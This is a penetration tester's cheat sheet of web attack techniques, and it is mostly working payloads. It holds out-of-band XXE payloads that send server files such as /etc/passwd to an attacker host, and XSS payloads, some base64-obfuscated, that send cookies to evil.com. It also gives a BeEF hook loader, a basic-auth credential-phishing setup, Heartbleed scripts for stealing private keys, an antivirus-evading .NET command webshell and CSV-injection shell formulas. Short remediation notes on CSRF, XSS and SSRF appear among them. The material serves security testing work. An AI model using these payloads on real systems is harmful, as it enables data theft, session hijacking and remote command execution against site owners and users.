Web Application Penetration Testing Notes

XXE

Testing methodology

Once you've intercepted the POST to the vulnerable page, see if you can get the system to do what it would normally, but with entities:

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">
]>
<methodCall><methodName>&test;</methodName></methodCall>

Next, see if you can throw an error:

<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test "nice string bro">]
>

<methodCall><methodName>&test;</methodName></methodCall>

If that worked, let's see if we can read files off of the system:

<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "file:///etc/passwd">]
>

<methodCall><methodName>&test;</methodName></methodCall>

Or open a php file on the system:

<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=index.php">]
>

<methodCall><methodName>&test;</methodName></methodCall>

This should return a base-64 encoded string that when decoded will be the php file you've targeted.

Webgoat 8

Test to see if we can add a comment with entities:

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">
]>
<comment><text>&test;</text></comment>

Now check if you can read a file off of the filesystem:

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<comment><text>&test;</text></comment>

Mutillidae

To grab files on mutillidae, use this payload on the vulnerable form input:

<?xml version="1.0"?> <!DOCTYPE a
[<!ENTITY TEST SYSTEM "file:///etc/passwd">]
>

<methodCall><methodName>&TEST;</methodName></methodCall>

You can also omit the xml version:

<!DOCTYPE a
[<!ENTITY TEST SYSTEM "file:///etc/passwd">]
>

<methodCall><methodName>&TEST;</methodName></methodCall>

as well as apply the getting the contents of a php file discussed above:

<!DOCTYPE a
[<!ENTITY TEST SYSTEM "php://filter/convert.base64-encode/resource=phpinfo.php">]
>
<methodCall><methodName>&TEST;</methodName></methodCall>

Out of band

Basic test

  1. Start burp collaborator and copy the payload to clipboard
  2. Put this into the XML file you're uploading:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://burp.collab.server" >]><foo>&xxe;</foo>
  1. Upload it, see if a request gets sent
  2. If it does, move on to seeing if you can read files on the server using the code below

Read files

  1. Put this into the XML file you're uploading:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM
  "file:///etc/lsb-release">
  <!ENTITY % dtd SYSTEM
  "http://<evil attacker hostname>:8000/evil.dtd">
  %dtd;
]>
<data>&send;</data>
  1. Put this file on <evil attacker hostname> in evil.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://<evil attacker hostname>:8000/?collect=%file;'>"> %all;
  1. Host the dtd file:
python -m SimpleHTTPServer 8000
  1. Upload the XML file.

Resource: https://dzone.com/articles/out-of-band-xml-external-entity-oob-xxe

Read files using FTP

  1. Put this into the XML file you're uploading:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://<evil attacker hostname>:8090/xxe_file.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
  1. Put this file on <evil attacker hostname> in xxe_file.dtd:
<!ENTITY % d SYSTEM "file:///etc/passwd">                                     
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://<evil attacker hostname>:2121/%d;'>">
  1. Host the dtd file:
    python -m SimpleHTTPServer 8090

  2. Run this ruby script on <evil attacker hostname>.

  3. Upload the XML file.

Resource: https://blog.zsec.uk/out-of-band-xxe-2/

This can also be used to save having to run two separate listeners: https://staaldraad.github.io/2016/12/11/xxeftp/

Some different payloads:
https://gist.github.com/staaldraad/01415b990939494879b4
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt

Some writeups worth checking out:
https://hackerone.com/reports/347139

Resources

https://blog.zsec.uk/out-of-band-xxe-2/
https://pentesterlab.com/exercises/play_xxe/course
https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection
https://find-sec-bugs.github.io/bugs.htm#XXE_SAXPARSER
https://www.youtube.com/watch?v=m6KP0wpBJpU
https://www.slideshare.net/ssuserf09cba/xxe-how-to-become-a-jedi
https://www.blackhillsinfosec.com/xml-external-entity-beyond-etcpasswd-fun-profit/
https://blog.detectify.com/2018/04/17/owasp-top-10-xxe/

XSS

File upload string XSS

If you find a file upload function for an image, try introducing an image with XSS in the filename like so:
<img src=x onerror=alert('XSS')>.png

Another one:
"><img src=x onerror=alert('XSS')>.png

One more:
"><svg onmouseover=alert(1)>.svg

SVG

This is worth trying whenever you run across an image upload. Create a file, stuff.svg and put this into it:

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('XSS!');
   </script>
</svg>

Resource: https://medium.com/@friendly_/xss-at-hubspot-and-xss-in-email-areas-674fa39d5248

XML

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>

Resource: https://blog.it-securityguard.com/bugbounty-papyal-xml-upload-cross-site-scripting-vulnerability/

CSP Bypass

This will work for script-src self: <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

Resource: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS injection

Generic payloads

<svg onload=alert(1)>: http://jsfiddle.net/23sqP/3/
<svg onload=alert(1)>
"><svg onload=alert(1)>
"onmouseover=prompt(1) //
"autofocus onfocus=alert(1)//
"autofocus onfocus=prompt(1) //
'-alert(1)-': Payload to stick in an event, like an onclick.
\'-alert(1)//
'-prompt(1)//: Payload to stick in an event, like an onclick.
eval(atob('YWxlcnQoMSk=')): generate string with btoa('alert(1)')
<iMg SrC=x OnErRoR=alert(1)>
"><img src onerror=alert(1)>
<div onmouseover="alert('XSS');">Move your mouse over me.
'"</Script><Html Onmouseover=(alert)(document.domain) //
</script><script>alert(1)</script>
</script><img onerror=prompt(1)>
\'-prompt(1)//

<output name="jAvAsCriPt://&NewLine;\u0061ler&#161(1)" onclick="eval(name)">X</output>
Resource: https://twitter.com/joernchen/status/1086237923652046849

str<script>alert(1)<\/script>ing - give this a shot in a JSON value

</Textarea/</Noscript/</Pre/</Xmp><Svg /Onload=confirm(document.domain)>
Resource: https://medium.com/@vis_hacker/how-i-got-stored-xss-using-file-upload-5c33e19df51e)

Try this one in a field that takes emails:
x@x.com<--`<img/src=` onerror=alert(1)> --!>
Resource: https://medium.com/@friendly_/xss-at-hubspot-and-xss-in-email-areas-674fa39d5248

Some JSFuck action:
""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")()
Resource: https://inventropy.us/blog/constructing-an-xss-vector-using-no-letters

This payload supposedly works only on Firefox according to the OWASP XSS filter evasion site. However, I've had luck with it in Chrome as well in the context of a stored XSS in a text editor-type application:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

Polyglots

A polyglot I built based on this one:

oNcliCk=alert(1)%20)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>%5Cx3csVg/<img/src/onerror=alert(2)>%5Cx3e

Resource:
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

I've had some good successes with this one:

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(document.domain)//'>

Resource:
https://twitter.com/xsspayloads/status/663599944834617344

React

If you see dangerouslySetInnerHTML in source code, try something like this payload:

<img src=x onerror=console.log("XSS")>

Because console.log is not sandboxed, you should get a hit in your browser's console.

Thanks to Jason Tsang for this one.

Basic Auth Cred Harvester

If you run across a site that's vulnerable to stored XSS, but has the HTTPOnly flag set for the cookie, try harvesting their credentials with a basic auth prompt:

  1. Get a domain that looks reasonably close to that of your target.
  2. Download Phishery from here: https://github.com/ryhanson/phishery and compile the binary.
  3. Compile and run it
  4. Set this up for the payload: <img/src/onerror=document.location="https://evil.com/">
  5. Wait for creds to come in.

Steal cookies

Simple payload to steal cookies:

<img/src/onerror=document.location="http://evil.com:8090/cookiez.php?c="+document.cookie>

Blacklist bypass:
I came across a site recently that was blacklisting //, :, ", <, and >. This is what I did to get around that issue:

btoa('document.location="http://evil.com:8090/r.php?c="+document.cookie')

gives you this string:
'ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9ldmlsLmNvbTo4MDkwL3IucGhwP2M9Iitkb2N1bWVudC5jb29raWU='

Use this payload:

eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9ldmlsLmNvbTo4MDkwL3IucGhwP2M9Iitkb2N1bWVudC5jb29raWU='))

Another one:

<script>new Image().src="http://evil.com:8090/b.php?"+document.cookie;</script>

Resource: https://www.lanmaster53.com/2011/05/13/stealth-cookie-stealing-new-xss-technique/

This one is pretty awesome:

<svg onload=fetch("//attacker/r.php?="%2Bcookie)>

Set up listener to intercept:

nc -lvp 8090

or you can also use this:

python -m SimpleHTTPServer 8090

Test session hijacking

Use burp repeater, it makes it incredibly easy to play with different cookies, and understand the impact, especially with the render tab of the response.

Resources:
https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/
https://www.exploresecurity.com/a-tricky-case-of-xss/
https://brutelogic.com.br/blog/xss101/

Filter bypass resources

Collection of awesome resources to deal with filters:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://bittherapy.net/a-trick-to-bypass-an-xss-filter-and-execute-javascript/
https://support.portswigger.net/customer/portal/articles/2590820-bypassing-signature-based-xss-filters-modifying-script-code
https://brutelogic.com.br/blog/avoiding-xss-detection/
https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec

POST-based XSS

If you have a situation in which you can't turn your POST based XSS into a GET request (perhaps GET requests are disabled on the target server), give CSRF a try. This can provide you the opportunity to deliver your payload to a victim.

DOM-based XSS Payloads:

<target.com>/#<img/src/onerror=alert("XSS")>

If jQuery is being used and you want to get a beef hook into place (be sure to modify the URL encoded string before using):

<target.com>/#img/src/onerror=$("body").append(decodeURIComponent('%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3a%2f%2f%3c%65%76%69%6c%20%69%70%3e%3a%33%30%30%30%2f%68%6f%6f%6b%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e'))>

Another one from a James Kettle bug bounty submission:
#<img/src="1"/onerror=alert(1)>
Another one from here:
#><img src=x onerror=prompt(1);>

Resource: https://hackerone.com/reports/241619

Nice site for JS event keycodes:
http://keycode.info/

These sites have a ton of great payloads:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS injection
https://zseano.com/tutorials/4.html
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md
http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html
http://www.xss-payloads.com/payloads-list.html?a#category=all

Could be useful for payload generation:
http://www.jsfuck.com/
https://github.com/aemkei/jsfuck
https://convert.town/ascii-to-text (Helpful to generate String.fromCharCode attacks)
http://jdstiles.com/java/cct.html (Also helpful to generate String.fromCharCode attacks)

Resources

https://brutelogic.com.br/blog/file-upload-xss/
https://infosecauditor.wordpress.com/2013/05/27/bypassing-asp-net-validaterequest-for-script-injection-attacks/
https://brutelogic.com.br/blog/

This is a payload specifically for ASP.NET endpoints that will only work for stored XSS. It uses unicode to encode the angle brackets:
'%uff1cscript%uff1ealert('XSS');%uff1c/script%uff1e'

Blind XSS

Blind XSS is a variant of stored XSS, where the payload may manifest in an area that you're not able to access. XSS Hunter is a solid choice for detection purposes.

Helpful writeups:
https://medium.com/@newp_th/how-i-find-blind-xss-vulnerability-in-redacted-com-33af18b56869

Remediation

  • Validate and sanitize input
  • Encode output
    HTML Encoding:
& ---> &amp;
< ---> &lt;
> ---> &gt;
" ---> &quot;
' ---> &#x27;
/ ---> &#x2F;
  • Set HttpOnly cookie attribute to true in order to prevent session hijacking
  • Use CSP

Content Security Policy (CSP)

  • Help mitigate against XSS and data injection attacks
  • Does this by whitelisting URLs that the browser can load and execute JS from
  • Prevent inline javascript, or any js that comes from an untrusted URL
  • Configure web server to return Content-Security-Policy HTTP header or <meta> can be used to configure a policy

Example: all content should come from the sites own origin

Resources:
https://www.html5rocks.com/en/tutorials/security/content-security-policy/

CSRF

Some bypass techniques, even if a CSRF token is in place: https://zseano.com/tutorials/5.html

CSRF POC vs. REST API which can work if the target application isn't validating the request header:

<html>
<script>
function jsonreq() {
  var xmlhttp = new XMLHttpRequest();
  xmlhttp.open("POST","https://target.com/api/endpoint", true);
  xmlhttp.setRequestHeader("Content-Type","text/plain");
  //xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
  xmlhttp.withCredentials = true;
  xmlhttp.send(JSON.stringify({"test":"x"}));
}
jsonreq();
</script>
</html>

Resource: https://www.gracefulsecurity.com/csrf-vs-json/

CSRF on JSON endpoints with flash and redirects writeups:

CSRF to Reflected XSS

This is a template to POC this sort of attack chain.

<html>
  <body>
    <p>Please wait... ;)</p>
    <script>
let host = 'http://target.com'
let beef_payload = '%3c%73%63%72%69%70%74%3e%20%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%20%73%2e%74%79%70%65%3d%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%20%73%2e%73%72%63%3d%27%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3b%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%3b%20%3c%2f%73%63%72%69%70%74%3e'
let alert_payload = '%3Cimg%2Fsrc%2Fonerror%3Dalert(1)%3E'

function submitRequest() {
  var req = new XMLHttpRequest();
  req.open(<CSRF components, which can easily be copied from Burp's POC generator>);
  req.setRequestHeader("Accept", "*\/*");
  req.withCredentials = true;
  req.onreadystatechange = function () {
    if (req.readyState === 4) {
      executeXSS();
    }
  }
  req.send();
}

function executeXSS() {
  window.location.assign(host+'<URI with XSS>'+alert_payload);
}

submitRequest();
    </script>
  </body>
</html>
  • If an endpoint uses PUT or DELETE, CSRF won't be possible (due to preflighting - https://w3c.github.io/webappsec-cors-for-developers/#cors), unless there is also a CORS misconfiguration. Be sure if you're testing this with burp and platform authentication that you turn off burp before you run your CSRF POC.

Resources:
https://security.stackexchange.com/questions/106105/exploiting-csrf-put-request
https://stackoverflow.com/questions/11833061/is-csrf-possible-with-put-or-delete-methods
https://security.stackexchange.com/questions/166724/should-i-use-csrf-protection-on-rest-api-endpoints
https://security.stackexchange.com/questions/149085/vuln-cross-origin-resource-sharing-arbitrary-origin-trusted
https://www.moesif.com/blog/technical/cors/Authoritative-Guide-to-CORS-Cross-Origin-Resource-Sharing-for-REST-APIs/

Remediation and Prevention

Ideally, this is something that should not be done from scratch. It's best to use a framework that does this work for you.

However, if you are dealing with a developer that is planning to roll their own, then:

  • Add a random token to each user session. The token should be sent with a POST request (GET requests have the means to leak the token in log files, browser history, etc.)

  • Generating a token per request can lead to usability problems, such as the back button not working properly.

  • Be sure that the token is only sent over TLS to avoid MITM issues.

Double Submit Cookie

This can be used for situations in which maintaining the state for a CSRF token on the server side is difficult. It's easy to implement and is stateless.

  • A random value is sent in both a cookie and as a request parameter
  • The server verifies the cookie value and request value match
  • When a user visits, the site should generate a cryptographically strong psuedorandom value and set it as a cookie on the user's machine separate from the session ID.
  • The site requires every request includes this value as a hidden form value, request header, or request parameter.
  • If they both match server side, the server accepts the request

It's not bulletproof unless your subdomains are fully secured and only accept HTTPS connections.

Including the value in an encrypted cookie alongside the authentication cookie and then matching the decrypted authentication cookie server side with the token in a hidden form field, request header, or request parameter is a solid choice. This is because a subdomain has no way to overwrite a properly crafted encryption cookie without the encryption key.

Resources:
https://security.stackexchange.com/questions/162/what-is-the-correct-way-to-implement-anti-csrf-form-tokens
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md
https://www.facebook.com/notes/facebook-bug-bounty/client-side-csrf/2056804174333798/

SSRF

If you have control over a URL parameter and it's not a redirect, you should start hunting for SSRF.

It's also worthwhile to look at Webhooks, PDF generators, document parsers, and file uploads. More information can be found here.

Some things to test:

See if there's a way to port scan internal assets: http://internal-server:22/notarealfile.txt

If you get an error message back, review the output to see if there is a difference and possible indicators between two ports to determine when you've found open vs closed. If there is no error message, determine if you can detect an open or closed port via the amount of time it takes for a requesat to time out.

Alternatively, out-of-band detection mechanisms are great as well. Use Burp Collaborator or set up a listener: nc -l -n -vv -p 8080 -k.

In my experience, some of the vulnerable components have only worked with certain ports, such as 80, 8080, 443, etc. It's good to test against these ports to make sure you aren't missing something.

If you have an endpoint that appends a path to your payload, try adding a & or a # to the end of your payload like so:

http://internal-vulnerable-server/rce?cmd=wget%20attackers-machine:4000&
http://internal-vulnerable-server/rce?cmd=wget%20attackers-machine:4000#

If there's a parser looking for a specific IP address, try decimal IP notation.

How to bypass SSRF protections:
https://medium.com/@vickieli/bypassing-ssrf-protection-e111ae70727b

This has a great write-up on SOP and CORS, as well as SSRF: https://www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/

Bug Bounty Write-ups:
https://hackerone.com/reports/115748
https://hackerone.com/reports/301924
https://www.sxcurity.pro/hackertarget/
http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
https://seanmelia.files.wordpress.com/2016/07/ssrf-to-pivot-internal-networks.pdf
https://github.com/ngalongc/bug-bounty-reference#server-side-request-forgery-ssrf
https://hack-ed.net/2017/11/07/a-nifty-ssrf-bug-bounty-write-up/

Payloads:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF injection

Resources

http://resources.infosecinstitute.com/the-ssrf-vulnerability/#gref
http://blog.safebuff.com/2016/07/03/SSRF-Tips/
https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
https://securingtomorrow.mcafee.com/mcafee-labs/server-side-request-forgery-takes-advantage-vulnerable-app-servers/
https://hack-ed.net/2017/11/07/a-nifty-ssrf-bug-bounty-write-up/

Remediation

  • Disable unused URL schemas such as file, dict, ftp, and gopher
  • Whitelist the DNS name or IP address your application needs to access
  • Validate user input

Recon

https://medium.com/@adrien_jeanneau/whats-tools-i-use-for-my-recon-during-bugbounty-ec25f7f12e6d

SQL Injection

Using sqlmap to test a site with JWT and basic auth:

sqlmap -u https://target --headers="X-Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU1NDkzNjEwNSwiZXhwIjoxNTU0OTM2MjI1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.CUJeDfpJCBD-RKCkGe6q5U2byv0rkxZnRhvPwyFYglg" --data={"note":"asdf","id":"1*"} --level=5 --risk=2 --dbs --auth-type=basic --auth-cred=user:password -vvvv

--data: used to specify post data
*: used to tell sqlmap where to try injecting, if you haven't specified a parameter with -p

Resources:
https://github.com/sqlmapproject/sqlmap/issues/646

Test for SQLi in PUT REST Params with SQLMap:

  1. Mark the Vulnerable parameter with *
  2. Copy the request and paste it into a file.
  3. Run it with sqlmap:
    sqlmap -r <file with request> -vvvv

Use tamper scripts to tell sqlmap how to encode its injections.

JSQL is an alternative to sqlmap that is not nearly as developed, but looks interesting.

Developers seemed to respond well to this when they were unable to understand why parameterized queries worked. TL;DR - the values are separated from the query itself.

Cheatsheet: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

Resource: https://www.sxcurity.pro/asus-sqli/

Try double encoding input, i.e. try this: https://site.com/q/getjson.php?s=%2527

Resource: https://buer.haus/2015/01/15/yahoo-root-access-sql-injection-tw-yahoo-com/

Session Fixation

A quick sanity check that can be used to determine if Session Fixation is an issue on a site:

  1. Go to the login page, observe the session ID that the unauthenticated user has.

  2. Login to the site. Once in, observe the session ID that the user has. If the session ID matches the one that was given by the site before the user authenticated, you are looking at a session fixation vulnerability.

File upload vulnerabilities

Create test 10gig file on OS X (useful for testing file upload limitations):
mkfile -n 10g temp_10GB_file

Unrestricted File Upload

Resources

http://nileshkumar83.blogspot.com/2017/01/file-upload-through-null-byte-injection.html

Other Cheatsheets

https://github.com/jhaddix/tbhm

CORS Misconfiguration

Basic POC for testing (loosely based off of https://www.sxcurity.pro/tricky-CORS/ and https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/):

<!DOCTYPE html>
<html>
  <body>
    <center>
      <h2>CORS POC Exploit</h2>

      <div id="demo">
        <button type="button" onclick="cors()">Exploit</button>
      </div>

      <script>
function cors() {
  var req = new XMLHttpRequest();
  req.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = this.responseText;
      // If you want to print something out after it finishes:
      //alert(req.getAllResponseHeaders());
      //alert(localStorage.access_token);
    }
  };
  // If you need to set a header (you probably won't):
  // req.setRequestHeader("header name", "value");
  req.open("GET", "<site>", true);
  req.withCredentials = true;
  req.send();
}
      </script>
  </body>
</html>

Resources

https://www.securityninja.io/understanding-cross-origin-resource-sharing-cors/
http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html
https://www.youtube.com/watch?v=wgkj4ZgxI4c
http://ejj.io/misconfigured-cors/
https://www.youtube.com/watch?v=lg31RYYG-T4
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
https://w3c.github.io/webappsec-cors-for-developers/#cors
http://gerionsecurity.com/2013/11/cors-attack-scenarios/
Using CORS misconfiguration to steal a CSRF Token:
https://yassineaboukir.com/blog/security-impact-of-a-misconfigured-cors-implementation/

Testing for heartbleed

nmap -d --script ssl-heartbleed --script-args vulns.showall -sV -p <port> <target ip> --script-trace -oA heartbleed-%y%m%d

Steal private key:

wget https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py
echo "<target>:<port>" > targets.txt
python heartbleed.py -f targets.txt -v -e

Read through the memory:

wget https://raw.githubusercontent.com/sensepost/heartbleed-poc/master/heartbleed-poc.py
python heartbleed-poc.py <target> -p <target port> | less

You can also run strings on the subsequent dump.bin file that is created if you prefer.

Resources

https://gist.github.com/bonsaiviking/10402038
https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py

Get Burp Suite working with Chrome on OSX

  1. Download the Burp certificate by going to http://burp and clicking CA Certificate
  2. Go to Keychain Access
  3. Click File -> Import Items
  4. Click the "I" icon in the lower left hand side of the window
  5. Click the arrow next to Trust
  6. Change When using this certificate: to Always Trust
  7. Restart Chrome

What is the DOM?

This probably belongs at the top of this article, but I found this article recently thanks to this page, and found the explanation to be simple, concise, and to the point: https://css-tricks.com/dom/. Definitely something I wish I had found when I was getting started in this field.

Open Redirect

Open redirect to XSS: http://breenmachine.blogspot.com/2013/01/abusing-open-redirects-to-bypass-xss.html

Open redirect to XSS BEeF payload:

<script> s=document.createElement('script'); s.type='text/javascript'; s.src='http://evil.com:3000/hook.js'; document.getElementsByTagName('head')[0].appendChild(s); </script>

Use the Decoder in Burp to encode this to base-64, and deliver it for the payload:

data:text/html;base64,PHNjcmlwdD4gcz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsgcy50eXBlPSd0ZXh0L2phdmFzY3JpcHQnOyBzLnNyYz0naHR0cDovL2V2aWwuY29tOjMwMDAvaG9vay5qcyc7IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF0uYXBwZW5kQ2hpbGQocyk7IDwvc2NyaXB0Pg==

Other payloads to try:
http://;URL=javascript:alert('XSS')
data:text/html%3bbase64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
javascript://%0aalert(1)
javascript://%0dalert(1)

This site has a ton of payload ideas: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open redirect

Resources:
http://blog.beefproject.com/2013/03/subverting-cloud-based-infrastructure.html

CRLF Injection

If you see your input parameter for a request:

http://inj.example.org/redirect.asp?origin=foo

echo'd back in the response headers:

HTTP/1.1 302 Object moved
Date: Mon, 07 Mar 2016 17:42:46 GMT
Location: account.asp?origin=foo
Connection: close
Content-Length: 121

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="">here</a>.</body>

You should try CRLF injection:

http://inj.example.org/redirect.asp?origin=foo%0d%0aSet-Cookie:%20ASPSESSIONIDACCBBTCD=SessionFixed%0d%0a

CRLF: %0d%0a

Resources

https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545
https://www.gracefulsecurity.com/http-header-injection/
https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)
https://www.acunetix.com/websitesecurity/crlf-injection/
https://blog.innerht.ml/twitter-crlf-injection/

Template Injection

Angular

Some code you can throw into jsfiddle for payload testing:

<html>
<head> 
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.js"></script>
</head>
<body>
<div ng-app>
{{constructor.constructor('alert(1)')()}}
</div>
</body>
</html>

Resources

http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

RCE

Bypass AV with webshell uploads (.NET):

Take a known webshell, and modify strings such as function names and the title (if applicable).

Here's an example with one of the webshells found in the fuzzdb project:

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string executeIt(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdClick(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(executeIt(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>REALLY NICE</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="execute" OnClick="cmdClick"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>

References

https://hax365.wordpress.com/2015/12/15/easy-trick-to-upload-a-web-shell-and-bypass-av-products/

Anonymous function RCE in php

$inputFunc = function() use($a, $b, $c, &$f){echo(exec('whoami'));};

PHP Experimentation

If you need to test some php code, you can use the native web server to host it up:
php -S 127.0.0.1:80 -t .

Obviously you should be careful with this...

PHP interactive shell

php -a

CSV Injection

Open a webpage: =HYPERLINK("http://evil.com:666","hell")

Resource: https://www.we45.com/blog/2017/02/14/csv-injection-theres-devil-in-the-detail

In excel on Windows, input the following to get a cmd shell:
=cmd|'cmd'!''

Great real world example:
https://rhinosecuritylabs.com/azure/cloud-security-risks-part-1-azure-csv-injection-vulnerability/

Great write-up here explaining what it is and why you want to be concerned: http://georgemauer.net/2017/10/07/csv-injection.html

A video showing an example of this as well:
https://www.youtube.com/watch?v=SC7AkclnG2g

Content Discovery

Burp intruder ftw. Custom content discovery paylaods:
https://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10

Useful scripts

Continously check if a site is up or down

while true; do /usr/bin/wget "http://[target]/uri/path" --timeout 30 -O - 2>/dev/null | grep "[item on page]" || echo "The site is down"; sleep 10; done

IDORs

https://www.bugcrowd.com/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/

Server-Side Includes (SSI) Injection

Put this in for a vulnerable parameter: <!--#echo var="DATE_LOCAL" -->

You should see the current date and time output in the response if this worked.

